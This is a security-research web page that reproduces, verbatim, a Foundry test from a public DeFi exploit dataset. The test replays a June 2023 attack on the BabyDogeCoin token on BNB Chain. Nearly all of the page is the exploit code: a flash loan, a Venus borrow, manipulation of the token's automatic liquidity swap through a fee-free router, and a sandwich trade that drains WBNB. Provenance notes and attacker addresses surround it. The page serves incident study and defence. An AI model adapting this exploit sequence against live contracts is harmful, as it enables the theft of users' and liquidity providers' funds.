Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/BabyDogeCoin02_exp.sol

Public reproduction file for dataset entry BabyDogeCoin02.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/BabyDogeCoin02_exp.sol224 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~100K USD$
8// Attacker : https://bscscan.com/address/0xee6764ac7aa45ed52482e4320906fd75615ba1d1
9// Attack Contract : https://bscscan.com/address/0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e
10// Vulnerable Contract : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de
11// Attack Tx : https://bscscan.com/tx/0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de#code
16// @Analysis
17// Twitter Guy : https://twitter.com/hexagate_/status/1671517819840745475
19interface IFeeFreeRouter {
20 function addLiquidity(
21 address tokenA,
22 address tokenB,
23 uint256 amountADesired,
24 uint256 amountBDesired,
25 uint256 amountAMin,
26 uint256 amountBMin,
27 address to,
28 uint256 deadline
29 ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
30 function removeLiquidity(
31 address tokenA,
32 address tokenB,
33 uint256 liquidity,
34 uint256 amountAMin,
35 uint256 amountBMin,
36 address to,
37 uint256 deadline
38 ) external returns (uint256 amountA, uint256 amountB);
41interface IBabyDogeCoin is IERC20 {
42 function numTokensSellToAddToLiquidity() external view returns (uint256);
45contract ContractTest is Test {
46 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
47 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
48 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
49 IBabyDogeCoin BabyDogeCoin = IBabyDogeCoin(0xc748673057861a797275CD8A068AbB95A902e8de);
50 Uni_Pair_V3 pool = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
51 ICErc20Delegate vUSDT = ICErc20Delegate(0xfD5840Cd36d94D7229439859C0112a4185BC0255);
52 ICErc20Delegate vBUSD = ICErc20Delegate(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);
53 crETH vBNB = crETH(0xA07c5b74C9B40447a954e1466938b865b6BBea36);
54 Uni_Router_V2 BabyDogeRouter = Uni_Router_V2(0xC9a0F685F39d05D835c369036251ee3aEaaF3c47);
55 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
56 IFeeFreeRouter FeeFreeRouter = IFeeFreeRouter(0x9869674E80D632F93c338bd398408273D20a6C8e);
57 IUnitroller Unitroller = IUnitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
58 ISimplePriceOracle VenusChainlinkOracle = ISimplePriceOracle(0xd8B6dA2bfEC71D684D3E2a2FC9492dDad5C3787F);
59 address PancakePair = 0xc736cA3d9b1E90Af4230BD8F9626528B3D4e0Ee0;
60 address BabyDogeRouterPair = 0x0536c8b0c3685b6e3C62A7b5c4E8b83f938f12D1;
61 uint256 borrowAmount;
62 uint256 USDTFlashLoanAmount;
63 uint256 BUSDFlashLoanAmount;
65 function setUp() public {
66 vm.createSelectFork("bsc", 29_295_010);
67 vm.label(address(BUSD), "BUSD");
68 vm.label(address(USDT), "USDT");
69 vm.label(address(WBNB), "WBNB");
70 vm.label(address(BabyDogeCoin), "BabyDogeCoin");
71 vm.label(address(pool), "pool");
72 vm.label(address(vBUSD), "vBUSD");
73 vm.label(address(vUSDT), "vUSDT");
74 vm.label(address(vBNB), "vBNB");
75 vm.label(address(BabyDogeRouter), "BabyDogeRouter");
76 vm.label(address(Router), "Router");
77 vm.label(address(FeeFreeRouter), "FeeFreeRouter");
78 vm.label(address(Unitroller), "Unitroller");
79 vm.label(address(VenusChainlinkOracle), "VenusChainlinkOracle");
80 vm.label(address(PancakePair), "PancakePair");
81 vm.label(address(BabyDogeRouterPair), "BabyDogeRouterPair");
82 }
84 function testExploit() public {
85 init();
86 AddBabyDogeCoinWBNBLiquidity();
87 exploit();
89 emit log_named_decimal_uint(
90 "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
91 );
92 }
94 function init() internal {
95 USDT.approve(address(vUSDT), type(uint256).max);
96 BUSD.approve(address(vBUSD), type(uint256).max);
97 address[] memory cTokens = new address[](3);
98 cTokens[0] = address(vUSDT);
99 cTokens[1] = address(vBUSD);
100 cTokens[2] = address(vBNB);
101 Unitroller.enterMarkets(cTokens);
102 }
104 function AddBabyDogeCoinWBNBLiquidity() public payable {
105 deal(address(this), 0.01 ether);
106 address[] memory path = new address[](2);
107 path[0] = address(WBNB);
108 path[1] = address(BabyDogeCoin);
109 BabyDogeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.005 ether}(
110 1, path, address(this), block.timestamp
111 );
112 WBNB.deposit{value: 0.005 ether}();
113 WBNB.approve(address(FeeFreeRouter), WBNB.balanceOf(address(this)));
114 BabyDogeCoin.approve(address(FeeFreeRouter), BabyDogeCoin.balanceOf(address(this)));
115 FeeFreeRouter.addLiquidity(
116 address(BabyDogeCoin),
117 address(WBNB),
118 BabyDogeCoin.balanceOf(address(this)) - 10_000 * 1e9,
119 WBNB.balanceOf(address(this)),
120 0,
121 0,
122 address(this),
123 block.timestamp
124 );
125 IERC20(BabyDogeRouterPair).approve(address(FeeFreeRouter), IERC20(BabyDogeRouterPair).balanceOf(address(this)));
126 }
128 function exploit() internal {
129 pool.flash(address(this), USDT.balanceOf(address(pool)), BUSD.balanceOf(address(pool)), new bytes(0));
130 }
132 function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
133 borrowBNB();
135 swapWBNBToBabyDogeCoinByBabyDogeRouterPair();
136 Sandwich();
137 swapBabyDogeCoinToWBNBByBabyDogeRouterPair();
139 repayFlashLoan(amount0, amount1);
140 }
142 function borrowBNB() public payable {
143 USDTFlashLoanAmount = USDT.balanceOf(address(this));
144 BUSDFlashLoanAmount = BUSD.balanceOf(address(this));
145 vUSDT.mint(USDT.balanceOf(address(this)));
146 vBUSD.mint(BUSD.balanceOf(address(this)));
147 (, uint256 AccountLiquidity,) = Unitroller.getAccountLiquidity(address(this));
148 uint256 UnderlyingPrice = VenusChainlinkOracle.getUnderlyingPrice(address(vBNB));
149 borrowAmount = (AccountLiquidity * 1e18 / UnderlyingPrice) * 9999 / 10_000;
150 vBNB.borrow(borrowAmount);
151 }
153 function swapWBNBToBabyDogeCoinByBabyDogeRouterPair() internal {
154 address[] memory path = new address[](2);
155 path[0] = address(WBNB);
156 path[1] = address(BabyDogeCoin);
157 uint256 swapAmount =
158 BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin)) - 1e12;
159 uint256[] memory amountIns = BabyDogeRouter.getAmountsIn(swapAmount, path);
160 WBNB.deposit{value: address(this).balance}();
161 WBNB.approve(address(BabyDogeRouter), amountIns[0]);
162 BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
163 amountIns[0], 0, path, address(FeeFreeRouter), block.timestamp
164 );
165 FeeFreeRouter.removeLiquidity(
166 address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeCoin), block.timestamp
167 ); // swap some WBNB to BabyDogeCoin , transfer to BabyDogeCoin contract
169 WBNB.approve(address(BabyDogeRouter), WBNB.balanceOf(address(this)));
170 BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
171 WBNB.balanceOf(address(this)), 0, path, address(FeeFreeRouter), block.timestamp
172 );
173 FeeFreeRouter.removeLiquidity(address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, PancakePair, block.timestamp); // swap some WBNB to BabyDogeCoin , transfer to PancakePair contract
174 }
176 function Sandwich() internal {
177 address[] memory path = new address[](2);
178 path[0] = address(BabyDogeCoin);
179 path[1] = address(WBNB);
180 BabyDogeCoin.approve(address(Router), 1);
181 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB
183 uint256 transferAmount =
184 BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin));
185 BabyDogeCoin.transfer(address(BabyDogeCoin), transferAmount);
186 BabyDogeCoin.transfer(address(this), 1); // trigger swap BabyDogeCoin to WBNB without slippage protection
188 path[0] = address(WBNB);
189 path[1] = address(BabyDogeCoin);
190 WBNB.approve(address(Router), WBNB.balanceOf(address(this)));
191 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
192 WBNB.balanceOf(address(this)), 1, path, address(FeeFreeRouter), block.timestamp
193 ); // swap WBNB to BabyDogeCoin
194 FeeFreeRouter.removeLiquidity(
195 address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeRouterPair), block.timestamp
196 );
197 }
199 function swapBabyDogeCoinToWBNBByBabyDogeRouterPair() internal {
200 address[] memory path = new address[](2);
201 path[0] = address(BabyDogeCoin);
202 path[1] = address(WBNB);
203 BabyDogeCoin.approve(address(BabyDogeRouter), 1);
204 BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB, get profit
205 }
207 function repayFlashLoan(uint256 amount0, uint256 amount1) internal {
208 WBNB.withdraw(borrowAmount);
209 vBNB.repayBorrow{value: address(this).balance}();
210 vUSDT.redeemUnderlying(USDTFlashLoanAmount);
211 vBUSD.redeemUnderlying(BUSDFlashLoanAmount);
212 USDT.transfer(address(pool), USDTFlashLoanAmount);
213 BUSD.transfer(address(pool), BUSDFlashLoanAmount);
214 WBNB.approve(address(Router), type(uint256).max);
215 address[] memory path = new address[](2);
216 path[0] = address(WBNB);
217 path[1] = address(USDT);
218 Router.swapTokensForExactTokens(amount0, type(uint256).max, path, address(pool), block.timestamp);
219 path[1] = address(BUSD);
220 Router.swapTokensForExactTokens(amount1, type(uint256).max, path, address(pool), block.timestamp);
221 }
223 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “BabyDogeCoin02” (2023-06-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xee6764ac7aa45ed52482e4320906fd75615ba1d1

  • Attack Contract

    0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e

  • Vulnerable Contract

    0xc748673057861a797275cd8a068abb95a902e8de

  • Attack Tx

    0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c

File record

Name
BabyDogeCoin02
Path
src/test/2023-06/BabyDogeCoin02_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3b201b9f3132d2b331cebc5ebbf9705a094d74d3
Language
Solidity
Size
225 lines
Date
2023-06-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/BabyDogeCoin02_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3b201b9f3132d2b331cebc5ebbf9705a094d74d3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.